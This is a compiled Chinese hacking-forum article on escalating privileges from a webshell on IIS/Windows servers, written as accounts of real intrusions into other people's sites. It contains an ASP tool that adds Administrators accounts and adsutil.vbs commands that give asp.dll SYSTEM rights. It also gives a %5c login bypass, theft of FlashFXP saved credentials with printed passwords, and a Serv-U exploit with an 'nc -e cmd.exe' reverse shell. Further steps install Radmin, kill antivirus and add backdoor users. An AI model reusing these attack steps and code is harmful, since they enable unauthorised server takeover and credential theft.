最新最全的WEBSHELL提权方法【2】

使用FlashFXP来提升权限 最近各位一定得到不少肉鸡吧:),从前段时间的动网的upfile漏洞, 动力文章系统最新漏洞到first see发现的动网sql版本的一个超级大漏洞。有人一定忙的不易乐乎,大家的方法也不过是使用一下asp脚本的后门罢了。至于提 升权限的问题呵呵,很少有人能作一口气完成。关键还是在提升权限上做个问题上,不少服务器设置的很BT,你的asp木马可能都用不了,还那里来的提升啊。我们得到webshell也就是个低级别的用户的权限,各种提升权限方法是可谓五花八门啊,如何提升就看你自己的妙 招了。
其一,如果服务器上有装了pcanywhere服务端,管理员为了便于管理也给了我们方便,到系统盘的 Documents and Settings/All Users/Application Data/Symantec/pcAnywhere/中下载*.cif本地破解就使用pcanywhere连接就ok了。
其二,如果对方有Serv-U大家不要骂我啊,通过修改ServUDaemon.ini和fpipe这软件提升权限应该是不成问 题吧。
其三,通过替换系统服务来提升。
其四,查找conn和config这类型的文件看能否得到sa或者mysql的相关密码,可能会有所收获等等。
本人在一次无聊的入侵过程中发现了这个方法,使用Flashfxp也能提升权限,但是成功率高不高就看你自己的运气了:)
本人www.xxx.com 通过bbs得到了一个webshell,放了个小马(现在海阳的名气太大了偶不敢放),而且已经将一段代码插入了N个文件中,够黑吧。提升权限没时间做。在我放假回家后,一看我晕bbs升级到动网sp2了我放的小马也被K了,人家的BBS是access版本的。郁闷啊!突然想起我将一个页面插入了asp的后门,看看还有没有希望了。输www.xxx.com/xx.asp?id =1 好家伙,还在!高兴ing
图1
于是上传了一个asp的脚本的后门,怎么提升权限呢?
在这个网站的主机上游荡了N分钟,在C:\\ Program Files下发现了FlashFXP文件夹(跟我一样使用这个软件自己心里暗想)图2,于是就打了了Sites. dat这个文件(编辑)这是什么东西密码和用户名,而且密码是加了密的。
如果我把这些文件copy回本地也就是我的计算机中,替换我本地的相应文件会怎么样呢?
于是我就将Sites.dat Sites.dat.bak Stats.dat Stats.dat.bak几个文件下载到我的计算机中替换了我电脑中flashfxp文件夹的相应文件。打开flashfxp 在站点中打开站点管理器一项。乖 乖发财了
对方管理员通过flashfxp连接的各个站点都在图3,点击连接。通过了于是我们又有了一堆肉鸡,我们有ftp权限。上传脚本 木马~ 呵呵。
说了半天这提升权限的事情一点没讲啊
不要急,大家看看对方管理员的这站点管理器,有用户名和密码,密码是星号的。可惜啊!
又想起了在Sites.dat中也显示了密码和用户名,而且密码是加密的。
现在的星号密码会不会也是加了密的?看看就行了呗。
怎么看? 菜鸟了吧 手头有个不错的查看星号的软件,就是xp星号密码查看器,通过查看跟Sites.dat中加密了密码做比较。看图4和图5 的比较 很显然在站点管理器中查看到的密码是明文显示的。发财了吧
下一步就是使用xp星号密码查看器这个软件来提取密码和用户名。看者这些复杂的密码,还真有点怀念当年玩sniff的时光。呵呵
密码为:b69ujkq6 hyndai790 s584p*fv4-c+ 98cq3jk4 3-8*ef./2z5+
用户名:bn7865t nilei75 qm/-g57+3kn qm/-g57+3kn 5.e*82/+69
(上述部分密码和用户名已经作了必要的修改)
这么多的信息,按社会工程学的概念来说,没有管理员的密码。打死我也不相信。最终我得到了这个网站管理员的密码从这堆东西中找到 的。
我想这个问题应该反馈到flashfxp官方,让他们在下个版本中修正这个漏洞或者说是错误。经过后来测试只要把含有密码和用户名的Sites.dat文件替换到本地相应的文件就可以在本地还原对方管理员的各个站点的密码。希望大家在入侵的时候遇到fla shfxp的时候能想到这个方法,至少也可以得到一堆新的肉鸡。不防试试?希望能给大家渗透带来帮助。
--------------------------------------------------------------------------------
--
--
将asp权限提到最高by: cnqing from:http://friend.91eb.com
本来是要写个提权asp木马的,可惜时间不是太多功底也不是太深。先把原理方法告诉大家好了。简单说说,说的太麻烦没有必要。懂了就行。
原理:
asp文件的教本解释是由asp.dll运行的。由dllhost.exe启动的。身分是IWAN_NAME。若是把asp.dll放到inprocesslsapiapps中那它就是由inetifo.exe直接启动。身份是system
方法:
第一步。
得到inprocesslsapiapps内容,用命令"cscript C:\\Inetpub\\AdminScripts\\adsutil.vbs get w3svc/inprocessisapiapps"。将得到的一组dll复制下来。
第二步
写一个bat内容为"cscript C:\\Inetpub\\AdminScripts\\ adsutil vbs set w3svc/inprpocessisapiapps "C:\\Inetpub\\AdminScripts\\asp.dll" ·····
省略号为复制下的内容。中间用空格分开不要带回车符
最后运行这个bat就行了。
例如:
我用"cscript C:\\Inetpub\\AdminScripts\\adsutil.vbs get w3svc/inprocessisapiapps"得到
"c:\\winnt\\system32\\inetsrv\\httpext.dll"
"c:\\winnt\\system32\\inetsrv\\httpodbc.dll"
"C:\\WINNT\\system32\\inetsrv\\ssinc.dll"
"C:\\WINNT\\System32\\msw3prt.dll"
"C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\_vti_aut\\author.dll"
"C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\_vti_adm\\admin.dll"
"C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\shtml.dll"
那么你的bat就应该是:
cscript C:\\Inetpub\\AdminScripts\\adsutil vbs set w3svc/inprpocessisapiapps "C:\\Inetpub\\AdminScripts\\asp.dll" "c:\\winnt\\system32\\inetsrv\\httpext.dll" "c:\\winnt\\system32\\inetsrv\\httpodbc.dll" "C:\\WINNT\\system32\\inetsrv\\ssinc.dll" "C:\\WINNT\\System32\\msw3prt.dll" "C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\_vti_aut\\author.dll" "C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\_vti_adm\\admin.dll" "C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\shtml.dll"
已测试成功!!
--------------------------------------------------------------------------------
--
--
利用%5c绕过验证
利用%5c绕过验证
---------------------------------------
lake2(http://mrhupo.126.com)
2004-11-27
---------------------------------------
说到%5c,你是不是想起了当前流行的那个%5c暴库漏洞,呵呵,本文就是对%5c利用的探索(呵呵,当然有我提出的新东东,或许对你有帮助哦^_^)。
好,我们先追根溯源,找到那个漏洞的老底。看看绿盟2001年的漏洞公告:http://www.nsfocus.net/index.php?ac...iew&bug_id=1429
N 年以前利用这个漏洞可以实现目录遍历,虽然微软出了补丁,不过好像补丁是用来限制iis只能访问虚拟目录的,所以漏洞还是存在,只不过利用方式变了。对 iis来说,提交一个含有%5c的url能够找到文件,但是该文件里以相对路径引用的其他文件却找不到了(%5c是\\的url编码,iis跳转到上一级目录去找,当然找不到;头晕了吧,哈哈,我也头晕啊)。
后来这个漏洞就被牛人挖掘出来了,也就是传说中的%5c暴库:由于连接数据库的文件引用的相对路径,提交%5c找不到文件,所以导致出错,iis就会老老实实的说出数据库的路径(不明白?找google)。
一个偶然的机会我发现还可以利用%5c绕过asp的验证;当我们暴库失败的时候不妨试试。
废话少说,看下面的代码:
<!--#INCLUDE file="conn.asp" -->
<%
guest_user=trim(request("guest_user"))
guest_password=trim(request("guest_password"))
Set rs= Server.createObject("ADODB.Recordset")
sql="select * from admin where id=1"
rs.open sql,conn,3,2
readuser=rs("guest_user")
readpassword=rs("guest_password")
if readuser<>guest_user or readpassword<>guest_password then
response.write "请输入正确地管理员密码!"
response.end
else
session("admin")=1 \'登陆后写入seesion中保存
response.write("登陆成功,请返回信息页")
end if
%>
看到没有,要想通过验证必须让数据库里的用户名密码与提交的一致;想到什么?让我们再看看数据库连接文件代码:
<%
on error resume next
set conn=server.createobject("adodb.connection")
DBPath = Server.MapPath("guestbook.asp")
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
%>
啊,有容错语句不能暴库!等等,如果提交%5c数据库找不到,由于容错,所以程序会继续执行,那么说来从数据库得到的用户名密码皆为空(想想有时暴库失败是不是看到空空的框架,因为数据都是空嘛),哈哈,这样我们就绕过验证了!
知道怎么做了吧,把登陆页面保存到本地,修改提交的url,把最后一个/改成%5c,用户名密码用空格(有的程序会检查用户名密码是否为空,空格会被程序过滤),提交,就ok了。
诶,各位不要以为我自己没事写段代码来捣鼓,实际上这个是我们学校一个高手做的留言板程序,就挂在学校的主页,呵呵。
既然弄懂了原理,当然要找实际漏洞啦,自然是拿大名鼎鼎的"洞"网论坛开刀。不过失败了,因为它的数据库连接文件里有这么一段:
If Err Then
err.Clear
Set Conn = Nothing
Response.Write "数据库连接出错,请检查连接字串。"
Response.End
End If
数据库找不到程序就结束了,呵呵,空欢喜一场。
接着又去down了bbsxp论坛,打开数据库连接文件,晕,根本没有容错语句;呵呵,不过可以暴库哦。
我又不是BT,所以不去找事了,写篇文章,算是给各位高手提供资料吧。
总结一下这个攻击方法成功的条件:1、数据库连接用的相对路径且仅有简单的容错语句;2、服务器iis版本为4或5;3、程序里不检查空字符或者检查时不过滤空格而比较时过滤空格;4、程序不能在一级目录
至于防范,呵呵,既然攻击条件知道了,防范措施自然也出来了^_^
--------------------------------------------------------------------------------
--
--
添加超级用户的.asp代码[蓝屏的原创,凯文改进,Ms未公布的漏洞]
作者:蓝屏,凯文 文章来源:冰点极限
其实上个礼拜我和凯文就在我的肉鸡上测试了,还有河马史诗.结果是在user权限下成功添加Administrators组的用户了(虽然我不敢相信我的眼睛).
上次凯文不发话,我不敢发布啊....现在在他的blog 上看到他发布了,就转来了咯(比我上次测试时还改进了一点,加了个表单).这下大家有福咯```
反正代码是对的,但是很少能成功,具体的看运气了。。呵呵,下一步我想把他整合到海洋里面去。嘿嘿。
<head>.network对象脚本权限提升漏洞利用工具</head>
<form action="useradd.asp" method=post>
用户:<input name="username" type="text" value="kevin1986"><br>
密码:<input name="passwd" type="password"><br>
<input type="submit" value="添 加">
</form>
<%@codepage=936
on error resume next
if request.servervariables("REMOTE_ADDR")<>"127.0.0.1" then
response.write "iP !s n0T RiGHt"
else
if request("username")<>"" then
username=request("username")
passwd=request("passwd")
Response.Expires=0
Session.TimeOut=50
Server.ScriptTimeout=3000
set lp=Server.createObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.create("user",username)
od.SetPassword passwd
od.SetInfo
oe.Add oz&"/"&username
if err then
response.write "哎~~今天你还是别买6+1了……省下2元钱买瓶可乐也好……"
else
if instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "&username.stdout.readall),"上次登录")>0 then
response.write "虽然没有错误,但是好象也没建立成功.你一定很郁闷吧"
else
Response.write "OMG!"&username&"帐号居然成了!这可是未知漏洞啊.5,000,000RMB是你的了"
end if
end if
else
response.write "请输入输入用户名"
end if
end if
%>
如何绕过防火墙提升权限
本文讲的重点是webshell权限的提升和绕过防火墙,高手勿笑。
废话少说,咱们进入正题。
首先确定一下目标:http://www.sun***.com ,常见的虚拟主机。利用Upfile的漏洞相信大家获得webshell不难。我们这次获得这个webshell,不是DVBBS,而是自由动力3.6的软件上传过滤不严。网站http://www.sun***.com/lemon/Index.asp 是自由动力3.6文章系统。Xr运用 WinHex.exe和WSockExpert.exe上传一个网页木马newmm.asp,用过动鲨的 door.exe的人都知道,这个是上传asp木马内容的。于是,上传海洋2005a,成功获得webshell。
测试一下权限,在cmd里运行set,获得主机一些信息,系统盘是D盘,也说明了我们的webshell有运行权限的。那我们看看C盘有什么呢?难道是双系统?浏览后发现没有什么系统文件,只有一些垃圾文件,晕死。没关系,再来检查一下,虚拟主机都有serv-u的,这台也不例外,是5.0.0.8的。呵呵,是有本地溢出的呀,挖哈哈。
思路:上传serv-u本地溢出文件srv.exe和nc.exe利用nc来反连接获得系统shell。大家是不是发现海洋2005a那个上传的组件不好用(反正我总遇到这个问题),没关系,用rain改的一个无组件上传,一共有3个文件,up.htm, upload.asp和 uploadclass.asp。upload.asp和uploadclass.asp上传到同一个文件夹,up.htm是本地用的,修改up.htm 里的链接地址为:http://www.sun***.com/lemon/upload.asp就可以上传了。
传上了srv.exe和nc.exe在H:\\long\\sun***\\lemon(网站目录)后,发现没有运行权限。没关系,根据经验,一般系统下 D: \\Documents and Settings\\All Users\\是应该有运行权限的。于是想把文件copy过去,但是发现我们的 webshell没有对D盘写的权限,晕死。
可以浏览D:\\program files\\serv-u\\ServUDaemon.ini,不能改,难道要破解serv-u的密码,晕,不想。
不可以这么就泄气了,我突然想到为什么系统不放在C盘了,难道C盘是FAT32分区的?(后来证明了我们的想法。这里说一下,如果主机有win98的系统盘,那里99%是FAT32分区的。我们还遇到过装有Ghost的主机,为了方便在DOS下备份,它的备份盘一般都是FAT分区的。)如果系统盘是 FAT32分区,则网站就没有什么安全性可言了。虽然C盘不是系统盘,但是我们有执行权限。呵呵,copy srv.exe和nc.exe到c:\\,运行 srv.exe "nc.exe –e cmd.exe 202.*.*.* 888",这里的202.*.*.*是我们的肉鸡,在这之前我们已经在肉鸡上运行了nc –l –p 888。我们在学校内网里,没有公网ip,不爽-ing。
我们成功获得一个系统shell连上肉鸡。(看起来简单,其实这里我们也遇到过挫折,我们发现有些版本的nc居然没有-e这个参数,还以为全世界nc功能都一样。后来又发现不同版本的nc互连不成功,会出现乱码,没办法用。为此,上传 n次,错误n次,傻了n次,后来终于成功了。做黑客还真得有耐心和恒心。)
高兴之余,我们仍不满足,因为这个shell实在是太慢了。于是,想用我们最常用的Radmin,其实管理员一按Alt+Ctrl+Del,看进程就能发现 r_server了,但是还是喜欢用它,是因为不会被查杀。好了,上传admdll.dll,raddrv.dll,r_server.exe到H:\\ long\\sun***\\lemon,再用刚才nc得到的 shell把它们copy到d:\\winnt\\system32\\下,分别运行: r_server /install , net start r_server , r_server /pass:rain /save 。
一阵漫长的等待,终于显示成功了。兴冲冲用radmin连上去,发现连接失败。晕死,忘了有防火墙了。上传pslist和pskill上去,发现有 backice,木马克星等。Kill掉他们虽然可以登陆,但服务器重启后还是不行,终不是长久之计呀。防火墙是不防21,80等端口的,于是,我们的思路又回到了serv-u上了。把他的 ServUDaemon.ini下载下来,覆盖本机的ServUDaemon.ini,在本机的serv-u上添加一个用户名为xr,密码为rain的系统帐号,加上所有权限。再用老办法,上传,用shell写入D:\\program files\\serv-u\ \里,覆盖掉原来的ServUDaemon.ini。虽然又等了n长时间,但是成功了,于是用flashfxp连上,发生 530错误。郁闷,怎么又失败了。(根据经验这样应该就可以了,但为什么不行没有想通,请高手指点。)
不管了,我们重启serv-u就ok 了,怎么重启呢,开始想用 shutdown重启系统,但那样我们就失去了nc这个shell,还可能被发现。后来,眼睛一亮,我们不是有pskill吗?刚才用pslist发现有这个进程:ServUDaemon 。把它kill了。然后再运行D:\\program files\\serv-u\\ ServUAdmin.exe ,这里要注意不是ServUDaemon.exe 。
好了,到这里,我们直接ftp上去吧,ls一下,哈哈,系统盘在我的掌握下。我们能不能运行系统命令呢?是可以的,这样就可以:
ftp>quote site exec net user xr rain /add
在webshell上运行net user,就可以看见添加成功了。
整个入侵渗透到这就结束了,在一阵后清理打扫后。我们就开始讨论了。其实,突破防火墙有很多好的rootkit可以做到的,但是我们觉得系统自带的服务才是最安全的后门。
--------------------------------------------------------------------------------
--
--
asp.dll解析成system提升权限
网络上传统的提升asp权限为系统的有两种:
1.图形化下的,把默认站点---->主目录--->应用程序保护设置为低,这样就可以把asp权限设置为system.
但这种提升方法很容易被发现,所以网络有另一种一般是用adsutil.vbs来提升权限.而这个也是今天
我要谈的关于adsutil.vbs提升权限.
2.用adsutil.vbs搞定.
在网络上我看到了很多的教你用这种方法的动画,文章,但我至今没有看到一篇介绍原理的,下面我谈谈我个人的看法:
先举个例子:
有一群狗,这群狗里有几个长老级狗物,它们拥有着至高无上的权限,而其它的狗,他们的权限则少得可怜.
转到计算机上:
在IIS中,有几个Dll文件是拥有特权限的,我们可以理解为系统权限,就像长老级的狗.而解析asp的asp.dll则就像一只
普通的狗,他的权限少得可怜.
那么,如果asp.dll也成了长老级的狗的话,那么asp不也就有了系统权限了吗,这是可以成立的.所以我们的思路也就是
把asp.dll加入特权的dll一族之中.提升步骤为:
<1>先查看有特权一话有哪些.
<2>加asp.dll加入特权一族
好了,下面我们就来实践这个过程.
1)查看有特权的dll文件:
命令为:cscript adsutil.vbs get /W3SVC/InProcessIsapiApps
得到显示为:
C:\\Inetpub\\AdminScripts>cscript adsutil.vbs get /W3SVC/InProcessIsapiApps
Microsoft (R) Windows 脚本宿主版本 5.1 for Windows
版权所有(C) Microsoft Corporation 1996-1999. All rights reserved.
InProcessIsapiApps : (LIST) (5 Items)
"C:\\WINNT\\system32\\idq.dll"
"C:\\WINNT\\system32\\inetsrv\\httpext.dll"
"C:\\WINNT\\system32\\inetsrv\\httpodbc.dll"
"C:\\WINNT\\system32\\inetsrv\\ssinc.dll"
"C:\\WINNT\\system32\\msw3prt.dll"
看到没有,他说明的是有特权限一族为:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll
这几个文件,不同的机子,可能会不同.
2)把asp.dll加入特权一族:
因为asp.dll是放在c:\\winnt\\system32\\inetsrv\\asp.dll (不同的机子放的位置不一定相同)
我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\\WINNT\\ system32\\idq.dll" "C:\\WINNT\\system32\\inetsrv\\httpext.dll" "C:\\WINNT\\system32\\inetsrv\\httpodbc.dll" "C:\\WINNT\\system32\\inetsrv\\ssinc.dll" "C:\\WINNT\\system32\\msw3prt.dll""c:\\winnt\\system32\\inetsrv\\asp.dll"
好了,现在你可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去
了,注意,用法中的get和set,一个是查看一个是设置.还有就是你运行上面的你要到C:\\Inetpub\\AdminScripts>这个目录下.
那么如果你是一个管理员,你的机子被人用这招把asp提升为system权限,那么,这时,防的方法就是把asp.dll T出特权一族,也就是用set这个命令,覆盖掉刚才的那些东东.
例:cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\\WINNT\\system32\\idq.dll" "C:\\WINNT\\system32\\inetsrv\\httpext.dll" "C:\\WINNT\\system32\\inetsrv\\httpodbc.dll" "C:\\WINNT\\system32\\inetsrv\\ssinc.dll" "C:\\WINNT\\system32\\msw3prt.dll"
这样就可以了,当你再用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 这个语句查之时,如果没有看见asp.dll,
说明,asp的权限又恢复到以前的权限.

最新最全webshell提权1 http://www.zeroplace.cn/article.asp?id=354
最新最全webshell提权2 http://www.zeroplace.cn/article.asp?id=355
最新最全webshell提权3 http://www.zeroplace.cn/article.asp?id=356

文章来自: 本站原创
Tags:
评论: 0 | 查看次数: 10449